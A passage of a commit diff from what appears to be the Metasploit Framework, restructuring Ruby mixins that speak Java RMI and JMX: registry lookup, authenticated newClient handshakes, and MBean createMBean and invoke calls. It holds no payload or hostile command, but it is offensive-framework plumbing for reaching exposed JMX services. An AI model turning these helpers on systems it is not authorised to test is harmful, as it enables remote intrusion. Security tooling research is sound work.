Land #5002, RMI/JMX improvements

bug/bundler_fix
Brent Cook 2015-04-08 15:23:29 -05:00
commit e03f2df691
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
84 changed files with 3544 additions and 1142 deletions

View File

@ -76,11 +76,9 @@ require 'msf/http/jboss'
require 'msf/kerberos/client'
# Java RMI Support
require 'msf/java/rmi/util'
require 'msf/java/rmi/client'
# Java JMX Support
require 'msf/java/jmx'
# Drivers
require 'msf/core/exploit_driver'

View File

@ -1,39 +0,0 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
module Msf
module Java
module Jmx
require 'msf/java/jmx/util'
require 'msf/java/jmx/discovery'
require 'msf/java/jmx/handshake'
require 'msf/java/jmx/mbean'
include Msf::Java::Jmx::Util
include Msf::Java::Jmx::Discovery
include Msf::Java::Jmx::Handshake
include Msf::Java::Jmx::Mbean
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint'])
], HTTP::Wordpress
)
end
def jmx_role
datastore['JMX_ROLE']
end
def jmx_password
datastore['JMX_PASSWORD']
end
end
end
end

View File

@ -1,29 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
# This module provides methods which help to handle JMX end points discovery
module Discovery
# Builds a Rex::Java::Serialization::Model::Stream to discover
# an JMX RMI endpoint
#
# @return [Rex::Java::Serialization::Model::Stream]
def discovery_stream
obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still
block_data = Rex::Java::Serialization::Model::BlockData.new(
nil,
"#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')
stream
end
end
end
end
end

View File

@ -1,56 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
# This module provides methods which help to handle a JMX handshake
module Handshake
# Builds a Rex::Java::Serialization::Model::Stream to make
# a JMX handshake with an endpoint
#
# @param id [String] The endpoint UnicastRef ObjId
# @return [Rex::Java::Serialization::Model::Stream]
def handshake_stream(obj_id)
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8")
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
if jmx_role
username = jmx_role
password = jmx_password || ''
stream.contents << auth_array_stream(username, password)
else
stream.contents << Rex::Java::Serialization::Model::NullReference.new
end
stream
end
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
# to make an authenticated handshake
#
# @param username [String] The username (role) to authenticate with
# @param password [String] The password to authenticate with
# @return [Rex::Java::Serialization::Model::NewArray]
def auth_array_stream(username, password)
builder = Rex::Java::Serialization::Builder.new
auth_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: 0xadd256e7e91d7b47, # serialVersionUID
values_type: 'java.lang.String;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, username),
Rex::Java::Serialization::Model::Utf.new(nil, password)
]
)
auth_array
end
end
end
end
end

View File

@ -1,13 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
module Mbean
require 'msf/java/jmx/mbean/server_connection'
include Msf::Java::Jmx::Mbean::ServerConnection
end
end
end
end

View File

@ -1,155 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
module Mbean
# This module provides methods which help to handle with MBean related calls.
# Specially, simulating calls with the Java javax.management.MBeanServerConnection
# class
module ServerConnection
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
# to the createMBean method.
#
# @param opts [Hash{Symbol => String}]
# @option opts [String] :obj_id the jmx endpoint ObjId
# @option opts [String] :name the name of the MBean
# @return [Rex::Java::Serialization::Model::Stream]
def create_mbean_stream(opts = {})
obj_id = opts[:obj_id] || "\x00" * 22
name = opts[:name] || ''
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6")
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream
end
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the
# Java getObjectInstance method.
#
# @param opts [Hash{Symbol => String}]
# @option opts [String] :obj_id the jmx endpoint ObjId
# @option opts [String] :name the name of the MBean
# @return [Rex::Java::Serialization::Model::Stream]
def get_object_instance_stream(opts = {})
obj_id = opts[:obj_id] || "\x00" * 22
name = opts[:name] || ''
builder = Rex::Java::Serialization::Builder.new
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2")
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf, # serialVersionUID
flags: 3
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream
end
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
# to the Java invoke method.
#
# @param opts [Hash{Symbol => String}]
# @option opts [String] :obj_id the jmx endpoint ObjId
# @option opts [String] :object the object whose method we want to call
# @option opts [String] :method the method name to invoke
# @option opts [String] :args the arguments of the method to invoke
# @return [Rex::Java::Serialization::Model::Stream]
def invoke_stream(opts = {})
obj_id = opts[:obj_id] || "\x00" * 22
object_name = opts[:object] || ''
method_name = opts[:method] || ''
arguments = opts[:args] || {}
builder = Rex::Java::Serialization::Builder.new
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20")
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf, # serialVersionUID
flags: 3
)
data_binary = builder.new_array(
name: '[B',
serial: 0xacf317f8060854e0, # serialVersionUID
values_type: 'byte',
values: invoke_arguments_stream(arguments).encode.unpack('C*')
)
marshall_object = builder.new_object(
name: 'java.rmi.MarshalledObject',
serial: 0x7cbd1e97ed63fc3e, # serialVersionUID
fields: [
['int', 'hash'],
['array', 'locBytes', '[B'],
['array', 'objBytes', '[B']
],
data: [
["int", 1919492550],
Rex::Java::Serialization::Model::NullReference.new,
data_binary
]
)
new_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: 0xadd256e7e91d7b47, # serialVersionUID
values_type: 'java.lang.String;',
values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name)
stream.contents << marshall_object
stream.contents << new_array
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream
end
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
# simulate a call to the Java invoke method method.
#
# @param args [Hash] the arguments of the method to invoke
# @return [Rex::Java::Serialization::Model::Stream]
def invoke_arguments_stream(args = {})
builder = Rex::Java::Serialization::Builder.new
new_array = builder.new_array(
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c, # serialVersionUID
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
values_type: 'java.lang.Object;',
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << new_array
stream
end
end
end
end
end
end

View File

@ -1,89 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
# This module provides methods which help to handle data
# used by Java JMX
module Util
# Extracts a Rex::Java::Serialization::Model::NewObject from
# a Rex::Java::Serialization::Model::Stream
#
# @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from
# @param id [Fixnum] the content position storing the object
# @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise
def extract_object(stream, id)
new_object = nil
if stream.contents[id]
new_object = stream.contents[id]
else
return nil
end
unless new_object.class == Rex::Java::Serialization::Model::NewObject
return nil
end
new_object.class_desc.description.class_name.contents
end
# Extracts an string from an IO
#
# @param io [IO] the io to extract the string from
# @return [String, nil] the extracted string if success, nil otherwise
def extract_string(io)
raw_length = io.read(2)
unless raw_length && raw_length.length == 2
return nil
end
length = raw_length.unpack('n')[0]
string = io.read(length)
unless string && string.length == length
return nil
end
string
end
# Extracts an int from an IO
#
# @param io [IO] the io to extract the int from
# @return [Fixnum, nil] the extracted int if success, nil otherwise
def extract_int(io)
int_raw = io.read(4)
unless int_raw && int_raw.length == 4
return nil
end
int = int_raw.unpack('N')[0]
int
end
# Extracts an UnicastRef (endpoint) information from an IO
#
# @param io [IO] the io to extract the int from
# @return [Hash, nil] the extracted int if success, nil otherwise
def extract_unicast_ref(io)
ref = extract_string(io)
unless ref && ref == 'UnicastRef'
return nil
end
address = extract_string(io)
return nil unless address
port = extract_int(io)
return nil unless port
id = io.read
{ address: address, port: port, id: id }
end
end
end
end
end

View File

@ -0,0 +1,96 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
module Msf
module Java
module Rmi
module Builder
# Builds a RMI header stream
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :signature
# @option opts [Fixnum] :version
# @option opts [Fixnum] :protocol
# @return [Rex::Proto::Rmi::Model::OutputHeader]
def build_header(opts = {})
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
version = opts[:version] || 2
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
header = Rex::Proto::Rmi::Model::OutputHeader.new(
signature: signature,
version: version,
protocol: protocol)
header
end
# Builds a RMI call stream
#
# @param opts [Hash{Symbol => <Fixnum, Array>}]
# @option opts [Fixnum] :message_id
# @option opts [Fixnum] :object_number Random to identify the object.
# @option opts [Fixnum] :uid_number Identifies the VM where the object was generated.
# @option opts [Fixnum] :uid_time Time where the object was generated.
# @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM
# at the same time.
# @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2
# it is -1.
# @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash
# representing the method to call.
# @option opts [Array] :arguments
# @return [Rex::Proto::Rmi::Model::Call]
def build_call(opts = {})
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
operation = opts[:operation] || -1
hash = opts[:hash] || 0
arguments = opts[:arguments] || []
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new(
number: uid_number,
time: uid_time,
count: uid_count
)
call_data = Rex::Proto::Rmi::Model::CallData.new(
object_number: object_number,
uid: uid,
operation: operation,
hash: hash,
arguments: arguments
)
call = Rex::Proto::Rmi::Model::Call.new(
message_id: message_id,
call_data: call_data
)
call
end
# Builds a RMI dgc ack stream
#
# @param opts [Hash{Symbol => <Fixnum, String>}]
# @option opts [Fixnum] :stream_id
# @option opts [String] :unique_identifier
# @return [Rex::Proto::Rmi::Model::DgcAck]
def build_dgc_ack(opts = {})
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
stream_id: stream_id,
unique_identifier: unique_identifier
)
dgc_ack
end
end
end
end
end

View File

@ -8,9 +8,15 @@ module Msf
module Rmi
module Client
require 'msf/java/rmi/client/streams'
require 'msf/java/rmi/util'
require 'msf/java/rmi/builder'
require 'msf/java/rmi/client/registry'
require 'msf/java/rmi/client/jmx'
include Msf::Java::Rmi::Client::Streams
include Msf::Java::Rmi::Util
include Msf::Java::Rmi::Builder
include Msf::Java::Rmi::Client::Registry
include Msf::Java::Rmi::Client::Jmx
include Exploit::Remote::Tcp
# Returns the target host
@ -50,12 +56,13 @@ module Msf
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @option opts [Rex::Proto::Rmi::Model::Call] :call
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_call
def send_call(opts = {})
nsock = opts[:sock] || sock
stream = build_call(opts)
nsock.put(stream.encode)
call = opts[:call] || build_call(opts)
nsock.put(call.encode)
end
# Sends a RMI DGCACK stream
@ -74,14 +81,15 @@ module Msf
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Rex::Proto::Rmi::Model::ProtocolAck]
# @return [Rex::Proto::Rmi::Model::ProtocolAck] if success
# @return [NilClass] otherwise
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
def recv_protocol_ack(opts = {})
nsock = opts[:sock] || sock
data = safe_get_once(nsock)
begin
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
rescue ::RuntimeError
rescue Rex::Proto::Rmi::DecodeError
return nil
end
@ -93,14 +101,16 @@ module Msf
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Rex::Java::Serialization::Stream]
# @return [Rex::Proto::Rmi::Model::ReturnValue] if success
# @return [NilClass] otherwise
# @see Rex::Proto::Rmi::Model::ReturnData.decode
def recv_return(opts = {})
nsock = opts[:sock] || sock
data = safe_get_once(nsock)
begin
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
rescue ::RuntimeError
rescue Rex::Proto::Rmi::DecodeError
return nil
end
@ -109,8 +119,8 @@ module Msf
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @param nsock [Rex::Socket::Tcp]
# @return [String]
def safe_get_once(nsock = sock)
data = ''
begin

View File

@ -0,0 +1,23 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
require 'msf/java/rmi/client/jmx/server'
require 'msf/java/rmi/client/jmx/connection'
include Msf::Java::Rmi::Client::Jmx::Server
include Msf::Java::Rmi::Client::Jmx::Connection
OBJECT_NAME_UID = 1081892073854801359
BYTE_ARRAY_UID = -5984413125824719648
MARSHALLED_OBJECT_UID = 8988374069173025854
STRING_ARRAY_UID = -5921575005990323385
OBJECT_ARRAY_UID = -8012369246846506644
end
end
end
end
end

View File

@ -0,0 +1,122 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
# This mixin provides methods to simulate calls to the Java
# javax/management/remote/rmi/RMIConnectionImpl_Stub
# interface
module Connection
require 'msf/java/rmi/client/jmx/connection/builder'
include Msf::Java::Rmi::Client::Jmx::Connection::Builder
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
# method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [TrueClass, NilClass] true if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance
def send_jmx_get_object_instance(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_get_object_instance(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
unless return_value.get_class_name == 'javax.management.ObjectInstance'
return nil
end
true
end
# Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
# method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [TrueClass, NilClass] true if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean
def send_jmx_create_mbean(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_create_mbean(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
unless return_value.get_class_name == 'javax.management.ObjectInstance'
return nil
end
true
end
# Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
# method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [TrueClass, NilClass] true if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_invoke
def send_jmx_invoke(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_invoke(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
unless return_value.get_class_name == 'java.util.HashSet'
return nil
end
true
end
end
end
end
end
end
end

View File

@ -0,0 +1,236 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
module Connection
module Builder
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
# used to retrieve an MBean instance
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Java::Rmi::Builder.build_call
def build_jmx_get_object_instance(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
name = opts[:name] || ''
arguments = build_jmx_get_object_instance_args(name)
method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: -1,
hash: method_hash,
arguments: arguments
)
call
end
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @return [Array]
def build_jmx_get_object_instance_args(name = '')
builder = Rex::Java::Serialization::Builder.new
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
flags: 3
)
arguments = [
new_object,
Rex::Java::Serialization::Model::Utf.new(nil, name),
Rex::Java::Serialization::Model::EndBlockData.new,
Rex::Java::Serialization::Model::NullReference.new
]
arguments
end
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
# used to retrieve an MBean instance
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Java::Rmi::Builder.build_call
def build_jmx_create_mbean(opts = {})
name = opts[:name] || ''
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
arguments = build_jmx_create_mbean_args(name)
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: -1,
hash: method_hash,
arguments: arguments
)
call
end
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @return [Array]
def build_jmx_create_mbean_args(name = '')
arguments = [
Rex::Java::Serialization::Model::Utf.new(nil, name),
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::NullReference.new
]
arguments
end
end
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
# used to invoke an MBean method
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Java::Rmi::Builder.build_call
# @see #build_jmx_invoke_args
def build_jmx_invoke(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;')
arguments = build_jmx_invoke_args(opts)
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: -1,
hash: method_hash,
arguments: arguments
)
call
end
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
#
# @param opts [Hash]
# @option opts [String] :object the MBean name
# @option opts [String] :method the method name
# @option opts [Hash] :args the method arguments
# @return [Array]
def build_jmx_invoke_args(opts = {})
object_name = opts[:object] || ''
method_name = opts[:method] || ''
args = opts[:args] || {}
builder = Rex::Java::Serialization::Builder.new
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
flags: 3
)
data_binary = builder.new_array(
name: '[B',
serial: Msf::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID
values_type: 'byte',
values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*')
)
marshall_object = builder.new_object(
name: 'java.rmi.MarshalledObject',
serial: Msf::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID
fields: [
['int', 'hash'],
['array', 'locBytes', '[B'],
['array', 'objBytes', '[B']
],
data: [
["int", 1919492550],
Rex::Java::Serialization::Model::NullReference.new,
data_binary
]
)
new_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
values_type: 'java.lang.String;',
values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
)
arguments = [
new_object,
Rex::Java::Serialization::Model::Utf.new(nil, object_name),
Rex::Java::Serialization::Model::EndBlockData.new,
Rex::Java::Serialization::Model::Utf.new(nil, method_name),
marshall_object,
new_array,
Rex::Java::Serialization::Model::NullReference.new
]
arguments
end
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
# simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
# method.
#
# @param args [Hash] the arguments of the method to invoke
# @return [Rex::Java::Serialization::Model::Stream]
def build_invoke_arguments_obj_bytes(args = {})
builder = Rex::Java::Serialization::Builder.new
new_array = builder.new_array(
name: '[Ljava.lang.Object;',
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
values_type: 'java.lang.Object;',
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << new_array
stream
end
end
end
end
end
end
end

View File

@ -0,0 +1,57 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
module Server
require 'msf/java/rmi/client/jmx/server/builder'
require 'msf/java/rmi/client/jmx/server/parser'
include Msf::Java::Rmi::Client::Jmx::Server::Builder
include Msf::Java::Rmi::Client::Jmx::Server::Parser
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
# to the Java javax/management/remote/rmi/RMIServer_Stub#newClient()
# method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Hash, NilClass] The connection information if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_new_client
def send_new_client(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_new_client(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
remote_object = return_value.get_class_name
unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
return nil
end
reference = parse_jmx_new_client_endpoint(return_value)
reference
end
end
end
end
end
end
end

View File

@ -0,0 +1,73 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
module Server
module Builder
# Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient()
# used to enumerate the names bound in a registry
#
# @param opts [Hash]
# @option opts [String] :username the JMX role to establish the connection if needed
# @option opts [String] :password the JMX password to establish the connection if needed
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Java::Rmi::Builder.build_call
def build_jmx_new_client(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
username = opts[:username]
password = opts[:password] || ''
if username
arguments = build_jmx_new_client_args(username, password)
else
arguments = [Rex::Java::Serialization::Model::NullReference.new]
end
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: -1,
hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient
arguments: arguments
)
call
end
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
# to make an javax/management/remote/rmi/RMIServer_Stub#newClient call
#
# @param username [String] The username (role) to authenticate with
# @param password [String] The password to authenticate with
# @return [Array<Rex::Java::Serialization::Model::NewArray>]
def build_jmx_new_client_args(username = '', password = '')
builder = Rex::Java::Serialization::Builder.new
auth_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
values_type: 'java.lang.String;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, username),
Rex::Java::Serialization::Model::Utf.new(nil, password)
]
)
[auth_array]
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,35 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
module Server
module Parser
# Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value
# to find out the remote reference information.
#
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
def parse_jmx_new_client_endpoint(return_value)
values_size = return_value.value.length
end_point_block_data = return_value.value[values_size - 2]
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
return nil
end
return_io = StringIO.new(end_point_block_data.contents, 'rb')
reference = extract_reference(return_io)
reference
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,129 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
# This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub
# interface
module Registry
require 'msf/java/rmi/client/registry/builder'
require 'msf/java/rmi/client/registry/parser'
include Msf::Java::Rmi::Client::Registry::Builder
include Msf::Java::Rmi::Client::Registry::Parser
# Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java
# java/rmi/registry/RegistryImpl_Stub#lookup() method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Hash, NilClass] The remote reference information if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup
def send_registry_lookup(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_registry_lookup(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
remote_object = return_value.get_class_name
if remote_object.nil?
return nil
end
remote_location = parse_registry_lookup_endpoint(return_value)
if remote_location.nil?
return nil
end
remote_location.merge(object: remote_object)
end
# Sends a Registry list call to the RMI endpoint. Simulates a call to the Java
# java/rmi/registry/RegistryImpl_Stub#list() method
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Array, NilClass] The set of names if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_list
def send_registry_list(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_registry_list(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
names = parse_registry_list(return_value)
names
end
# Calculates the hash to make RMI calls for the
# java/rmi/registry/RegistryImpl_Stub interface
#
# @return [Fixnum] The interface's hash
def registry_interface_hash
hash = calculate_interface_hash(
[
{
name: 'bind',
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException']
},
{
name: 'list',
descriptor: '()[Ljava/lang/String;',
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
},
{
name: 'lookup',
descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;',
